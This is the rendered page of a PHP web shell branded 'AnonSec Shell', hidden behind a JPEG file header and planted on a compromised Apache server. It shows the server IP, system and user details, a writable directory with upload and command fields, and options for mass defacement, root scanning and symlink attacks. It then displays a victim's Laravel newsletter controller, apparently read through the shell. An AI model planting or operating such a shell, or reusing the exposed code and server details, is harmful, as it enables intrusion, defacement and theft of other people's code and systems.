JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/iNewsl/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/iNewsl/app/Http/Controllers/NewslettersController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Redirect;
use Session;
use App\Http\Requests;
use App\Newsletters;
use App\Modules;
use Auth;

class NewslettersController extends Controller
{

	

    public function index(Request $request) {
        if (Auth::check()) {

    	    $newsletters = Newsletters::sort($request->input('field'), $request->input('sort'))->where('deleted',0)->paginate(20);
    		return view('newsletters', compact('newsletters'));
        }
        else return redirect("/login");

    }

    public function create()  {
        if (Auth::check()) {

            return redirect("/newsletters");
        }
        else return redirect("/login");
    }

    public function store(Request $request) {
        if (Auth::check()) {
        
            $rules = [
                "title" => "required|string|max:50",
            ];

            $this->validate($request, $rules);

            $newsletters = new Newsletters;
            $newsletters->title = $request->title;
            $newsletters->save();

            return redirect("/newsletters/$newsletters->id/edit")->with('success', 'Newsletter byl úspěšně vytvořen.');
        }
        else return redirect("/login");

    }

    public function edit($id)  {
        if (Auth::check()) {

        	$newsletter = Newsletters::find($id);
            $modules = Modules::where('id_newsletter',$id)->orderby('module_order')->get();
        	return view('newslettersEdit', compact('newsletter','modules'));
        }
        else return redirect("/login");
    }

    public function update(Request $request, $id) {
        if (Auth::check()) {
            $rules = [
                "title" => "required|string|max:50",
            ];

            $this->validate($request, $rules);

            $newsletters = Newsletters::find($id);
            $newsletters->title = $request->title;
            $newsletters->preheader = $request->preheader;
            $newsletters->save();

            return redirect("/newsletters/$id/edit")->with('success', 'Newsletter byl úspěšně uložen.');
        }
        else return redirect("/login");

    }

    public function delete($id)
    {		
        if (Auth::check()) {
            $newsletters = Newsletters::find($id);
            $newsletters->deleted = 1;
            $newsletters->save();

            return redirect("/newsletters")->with('success', 'Newsletter byl úspěšně smazán.');
        }
        else return redirect("/login");
    }

    public function duplicate($id)
    {		
        if (Auth::check()) {

            $newsletterOld = Newsletters::find($id);

    		$newsletter = $newsletterOld->replicate();
    		$newsletter->title = $newsletterOld->title." (kopie)";
    		$newsletter->save();

            //načtení všech modulů s ID starého newsletteru a zduplikování všech
            $modules = Modules::where('id_newsletter',$newsletterOld->id)->get();
            foreach($modules AS $module) {
                $moduleOld = Modules::find($module->id);
                $moduleNew = $moduleOld->replicate();
                $moduleNew->id_newsletter = $newsletter->id;
                $moduleNew->save();
            }

            return redirect("/newsletters")->with('success', 'Newsletter byl úspěšně duplikován.');
        }
        else return redirect("/login");
    }

    public function show($id)  {

        $newsletter = Newsletters::find($id);
        $modules = Modules::where('id_newsletter',$id)->orderby('module_order')->get();

        //připravení obrázku
        $images = array();
        foreach($modules AS $module) {
            for ($i=1; $i<=3; $i++) {
                $type_num = 'type_'.$i;
                $content_num = 'content_'.$i;
                if($module->$type_num=="image") {
                    $img_array = explode('|',$module->$content_num);
                    if ($img_array[1]!="null") {
                        $img = '<a href="'.$img_array[1].'"><img src="'.$img_array[0].'" alt="'.$img_array[2].'"></a>';
                    }
                    else {
                        $img = '<img src="'.$img_array[0].'" alt="'.$img_array[2].'">';
                    }
                    
                    $images[$module->id][$i] = $img;
                }
                //přidání stylů odkazům v textových polích
                elseif($module->$type_num=="text") {
                    //všude mimo hlavičku
                    if($module->module!="header" AND $module->module!="header-en" AND $module->module!="footer" AND $module->module!="footer-en") {
                        $module->$content_num = str_replace('<a href', '<a style="color:#2da7da !important; color:#2da7da; text-decoration:none !important; text-decoration:none;" href', $module->$content_num);
                    }
                    //akce pro hlavičku
                    elseif ($module->module=="header" OR $module->module=="header-en") {
                        //získání odkazů z obsahu a vrácení pouze hotového menu
                        $regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
                        if(preg_match_all("/$regexp/siU", $module->$content_num, $matches)) {
                            $module->$content_num = "";
                            // $matches[2] = array of link addresses
                            // $matches[3] = array of link text - including HTML code
                            for($i=0;$i<=(count($matches[2])-1);$i++) {
                                $module->$content_num.='<a href="'.$matches[2][$i].'" style="font-family: Arial, sans-serif; color: #fff !important; color: #fff; font-weight: bold; text-decoration: none !important; text-decoration:none; font-size: 12px; text-transform: uppercase; padding: 0 5px;">'.$matches[3][$i].'</a>&nbsp;&nbsp;';
                            }
                        }
                    }
                    //nahrazování v hlavičcce
                    $module->$content_num = str_replace('{id_newsletter}', $id, $module->$content_num);
                    

                }
            }
        }
        return view('newsletter', compact('newsletter','modules', 'images'));
    }

    public function getCode($id) {
        if (Auth::check()) {
            $newsletter_page = url('/').'/newsletters/'.$id;
            $code = file_get_contents($newsletter_page);
            return view('code', compact('code'));
        }
        else return redirect("/login");
    }
}

Anon7 - 2022
AnonSec Team